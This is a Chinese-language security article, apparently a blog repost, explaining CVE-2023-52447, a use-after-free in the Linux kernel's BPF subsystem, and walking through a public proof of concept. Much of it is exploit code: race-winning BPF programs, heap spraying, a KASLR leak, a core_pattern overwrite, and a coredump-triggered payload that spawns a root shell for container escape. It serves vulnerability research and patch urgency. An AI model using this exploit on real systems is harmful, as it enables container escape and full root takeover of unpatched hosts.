CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷

admin 2024年10月10日17:12:29评论89 views字数 7742阅读25分48秒阅读模式

CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷

CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷

最近,研究人员公布了Linux 内核漏洞(编号为CVE-2023-52447 )的技术细节和概念验证 (PoC) 漏洞利用。该漏洞的 CVSS 评分为 7.8,影响 Linux 内核版本从 v5.8 到 v6.6,可能对依赖容器化进行安全隔离的系统造成严重影响。

从本质上讲,CVE-2023-52447 是Linux 内核 BPF 子系统中的释放后使用漏洞,具体与BPF 程序中数组映射指针的管理方式有关。BPF 是一个功能强大的框架,允许用户在内核中运行自定义程序,通常用于网络数据包过滤、性能监控和安全应用程序。然而,在这种情况下,漏洞源于某些 BPF 程序中不正确的引用计数。

当 BPF 程序持有来自array_of_maps的arraymap指针而未正确增加引用计数时,就会出现此问题。如果 BPF 程序执行耗时操作,则可能会允许另一个线程释放 arraymap 并回收内存,从而导致释放后使用的情况。

通过精心设计两个线程之间的竞争条件,即可利用此漏洞:

  • 修改了受害者arraymap的max_entries和index_mask。

  • 使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)。

  • 更新 array_of_maps 以修改 core_pattern。

  • 实现容器逃逸。

安全研究人员已在GitHub上提供了概念验证 (PoC) 漏洞,使安全团队能够更好地了解 CVE-2023-52447 漏洞及其利用方式。虽然此 PoC 是防御措施的重要资源,但这也意味着恶意行为者可以访问漏洞代码,这增加了修补和缓解的紧迫性。

幸运的是,该漏洞已在最近的内核补丁中得到解决。该问题已通过提交到 Linux 内核进行修复,强烈建议各组织更新到包含此补丁的最新内核版本。

漏洞技术概述

从https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bba1dc0b55ac开始,免费的 bpf 映射不需要与 rcu_lock 同步。我们注意到 bpf 程序在 rcu_lock 下运行,从 array_of_maps 查找 arraymap 不会增加其引用计数。因此,这样的 bpf 程序允许我们在不增加其引用计数的情况下获取对 arraymap 的引用。

BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
    BPF_MAP_GET_ADDR(0, BPF_REG_8),
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
    BPF_MAP_GET_ADDR(
      0,
      BPF_REG_8), //store a arraymap from array_of_map without increase refcount at BPF_REG_8

总结一下,漏洞在于,如果数组映射指针来自 array_of_maps,bpf 程序可以保存该指针而不增加引用计数。

如果 bpf 首先将数组映射指针存储到一个寄存器中,并在程序中间执行一些耗时操作。

这为其他线程释放数组映射指针提供了机会,数组映射可以将其回收到另一个结构(如 array_of_maps)。在我们的漏洞利用中,arraymap 和 array_of_maps 都位于缓存 kmalloc-1024 下。

//store a arraymap from array_of_map without increase refcount at BPF_REG_8
BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
BPF_MAP_GET_ADDR(0,BPF_REG_8),

bpf_ringbuf_output是一个 bpf 函数,它使用 memcpy 将 buf 复制到行 [1] 中的另一个 buf 中。

BPF_CALL_4(bpf_ringbuf_output, struct bpf_map *, map, void *, data, u64, size,
     u64, flags)
{
  struct bpf_ringbuf_map *rb_map;
  void *rec;

  if (unlikely(flags & ~(BPF_RB_NO_WAKEUP | BPF_RB_FORCE_WAKEUP)))
    return -EINVAL;

  rb_map = container_of(map, struct bpf_ringbuf_map, map);
  rec = __bpf_ringbuf_reserve(rb_map->rb, size);
  if (!rec)
    return -EAGAIN;

  memcpy(rec, data, size); //[1]
  bpf_ringbuf_commit(rec, flags, false /* discard */);
  return 0;
}

如果 buf 很大,则需要一些时间才能完成。

延长释放和回收的竞争窗口将是一个不错的选择。

// do time comsume operation using BPF_FUNC_ringbuf_output copy large size buffer
BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_3, 0x10000000),
BPF_MOV64_IMM(BPF_REG_4, 0x0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_output)

一旦一个核心上的线程在 bpf 程序中处于繁忙状态。我们使用另一个核心中的另一个线程来释放和回收。使用可映射的 bpf 获取来自 bpf 的信号以通知我们,我们就可以开始释放。

// Create a mmapable arraymap to signal we have stored target arraymap
  int signal = bpf_create_map_mmap(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
    // mmap arraymap region for userspace to know signal.
  signal_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
         signal, 0);

线程0将值写入1我们的信号数组映射

BPF_LD_MAP_FD(BPF_REG_9, signal),
    BPF_MAP_GET_ADDR(0, BPF_REG_7),
    BPF_ST_MEM(
      BPF_W, BPF_REG_7, 0,
      1), // write value one to signal that we have stored target arraymap

thread1 忙等待直到 signal_addr 变为空闲1并启动目标

while (signal_addr[0] == 0)
    ;
  // Free target
  update_elem(array_of_map, 0, victim);

thread2 忙着等待 signal_addr 变为可用1,然后开始 spray 以将其回收为 array_of_maps。Max_entries 为 0x30 是为了确保在 kmalloc-1024 中回收 array_of_maps,并将其作为 arraymap 的缓存。

while (signal_addr[0] == 0)
    ;
  for (int i = 0; i < 0x100; i++) {
    spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
               0x30, samplemap);
    update_elem(spray_fd[i], 0, victim);
  }

Bpf 程序将 BPF_REG_8 存储的映射地址视为 arrymap,但它是 arry_of_maps。

// Now BPF_REG_8 is freed and reallocate as array_of_map
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0),

我们可以通过畸形的arrymap泄露arrymap地址和array_map_ops。一旦我们知道array_map_ops内核地址,我们就可以找到kASLR基地址

gef➤ p &array_map_ops
$2 = (const struct bpf_map_ops *) 0xffffffff829c29e0 <array_map_ops>
gef➤ p _stext
$3 = {<text variable, no debug info>} 0xffffffff81000000 <startup_64>
BPF_LDX_MEM( BPF_DW, BPF_REG_0, BPF_REG_8, 0), // Now BPF_REG_8 is freed and reallocate as array_of_map
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // store a arrymap address to our arrymap as value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -0x110), // adjust address to make value as bpf_array.map
BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_0,0), //store our malformed arraymap info array_of_maps

漏洞技术细节

赢得比赛后的功绩

  • 修改了受害者arraymap的max_entries和index_mask。

  • 使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)。

  • 更新 array_of_maps 以修改 core_pattern。

  • 实现容器逃逸。

修改了受害者arraymap的max_entries和index_mask

由于该值是按照bpf_array.map调整的,所以我们可以创建一个bpf程序来修改map.max_entrieds和array->index_mask

BPF_LD_MAP_FD(BPF_REG_9, target),
    BPF_MAP_GET_ADDR(0, BPF_REG_9),
    BPF_MAP_GET_ADDR(4, BPF_REG_8),
    BPF_ST_MEM(BPF_W, BPF_REG_8, 4, 0x800), //modify map.max_entries

    BPF_MAP_GET_ADDR(0x20, BPF_REG_8),
    BPF_ST_MEM(BPF_W, BPF_REG_8, 4,0xffff), //modify array->index_mask
修改map.max_entries为0x800,确保在kmalloc-1024下可以覆盖到下一个chunk。修改array->index_mask为0xffff,实现array_map_lookup_elem和array_map_update_elem的oob读写。
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
...

  return array->value + (u64)array->elem_size * (index & array->index_mask);


static long array_map_update_elem(struct bpf_map *map, void *key, void *value,
          u64 map_flags)

{
...
    val = array->value +
      (u64)array->elem_size * (index & array->index_mask);

因此稍后我们使用 bpf 系统调用在更大的索引上调用 array_map_lookup_elem/array_map_update_elem。

使用受害者arraymap来修改靠近array_of_maps的值索引0的arraymap为(core_pattern-struct_bpf_array_offset)

受害者越界访问以修改下一个块的内容。

使用堆风水。在受害者数组映射之前和之后分配一些数组映射。

// Allocate some array of maps before victim
  for (int i = 0; i < 0x10; i++)
    oob[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4, 0x30,
          samplemap);
  victim = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);

  // Allocate some array of maps after victim
  for (int i = 0; i < 0x10; i++)
    oob[i + 0x10] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
                 0x30, samplemap);

下一个块可以是 array_of_maps,我们覆盖其索引 0 arraymap。

// Store the address (core_pattern - struct_bpf_array_offset) we want to overwrite.
  update_elem(victim, (0x400 + 0x110 - 0x110) / 8, kaddr);

更新 array_of_maps 以修改 core_pattern

创建另一个 bpf 程序来修改索引 0 arraymap,并且 core_pattern 将被覆盖。

BPF_LD_MAP_FD(BPF_REG_9, target),
BPF_MAP_GET_ADDR(0, BPF_REG_9),
BPF_MAP_GET_ADDR(0, BPF_REG_8), // BPF_REG_8 will point to core_pattern
BPF_MAP_GET_ADDR(1, BPF_REG_7), // BPF_REG_8 will point to core_pattern+8
BPF_MAP_GET_ADDR(2, BPF_REG_6), // BPF_REG_8 will point to core_pattern+16

BPF_LD_MAP_FD(BPF_REG_9, data),

// Modify core_pattern to |/proc/%P/fd/666 %P
BPF_MAP_GET(0, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, 0),
BPF_MAP_GET(1, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),
BPF_MAP_GET(2, BPF_REG_4),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()

实现容器逃逸

core_pattern 被覆盖后为|/proc/%P/fd/666 %P:

然后我们使用 memfd 并在 fd 666 中写入可执行文件有效负载。

int check_core()
{
  // Check if /proc/sys/kernel/core_pattern has been overwritten
  char buf[0x100] = {};
  int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  read(core, buf, sizeof(buf));
  close(core);
  return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
  int memfd = memfd_create("", 0);
  SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
  dup2(memfd, 666);
  close(memfd);
  while (check_core() == 0)
    sleep(1);
  puts("Root shell !!");
  /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
  *(size_t *)0 = 0;
}

稍后当 coredump 发生时,它将以 root 身份在 root 命名空间中执行我们的可执行文件:

*(size_t*)0=0; //trigger coredump

root 运行的代码如下:

// This section of code will be execute by root!
int pid = strtoull(argv[1], 0, 10);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
dup2(stdinfd, 0);
dup2(stdoutfd, 1);
dup2(stderrfd, 2);
/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
system("cat /flag");
execlp("bash", "bash", NULL);

项目地址:

https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-52447_cos

原文始发于微信公众号(Ots安全):CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日17:12:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-52447 的 PoC 漏洞利用版本:导致容器逃逸的 Linux 内核缺陷https://cn-sec.com/archives/3249241.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息